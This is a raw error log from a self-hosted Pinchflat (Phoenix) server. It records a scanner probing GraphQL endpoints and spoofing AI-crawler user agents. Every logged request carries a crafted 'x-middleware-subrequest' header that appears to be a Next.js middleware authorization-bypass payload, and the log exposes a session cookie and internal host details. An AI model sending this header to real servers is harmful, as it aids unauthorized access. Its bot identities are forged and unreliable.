"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, (truncated) 16:49:10.689 [info] GET /api/graphql 16:49:10.690 [debug] QUERY OK source="settings" db=0.0ms idle=42.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.690 [debug] QUERY OK source="settings" db=0.0ms idle=20.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.690 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.690 [error] #PID<0.29893.0> running PinchflatWeb.Endpoint (connection #PID<0.29892.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/graphql ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34928}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29893.0>, params: %{}, path_info: ["api", "graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/api/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61m-pbEIpOCgAAILD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34928}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29892.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34928}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined (truncated) 16:49:10.699 [info] GET /graphql 16:49:10.699 [debug] QUERY OK source="settings" db=0.1ms idle=29.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.700 [debug] QUERY OK source="settings" db=0.1ms idle=28.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.700 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.700 [error] #PID<0.29895.0> running PinchflatWeb.Endpoint (connection #PID<0.29894.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /graphql ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29894.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29895.0>, params: %{}, path_info: ["graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61nA9D5eeWiQABwsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29894.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29894.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34930}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "G (truncated) 16:49:10.722 [info] GET /graphql/console 16:49:10.722 [debug] QUERY OK source="settings" db=0.0ms idle=50.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.722 [debug] QUERY OK source="settings" db=0.0ms idle=32.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.722 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.722 [error] #PID<0.29897.0> running PinchflatWeb.Endpoint (connection #PID<0.29896.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /graphql/console ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql/console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/console", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34942}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29897.0>, params: %{}, path_info: ["graphql", "console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/graphql/console", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61nGT1H5MfskABwtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/console", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34942}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql/console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29896.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql/console", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34942}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:10.803 [info] GET /v1/graphql 16:49:10.804 [debug] QUERY OK source="settings" db=0.0ms idle=113.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.804 [debug] QUERY OK source="settings" db=0.2ms idle=104.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.804 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.804 [error] #PID<0.29899.0> running PinchflatWeb.Endpoint (connection #PID<0.29898.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /v1/graphql ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34952}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29899.0>, params: %{}, path_info: ["v1", "graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", 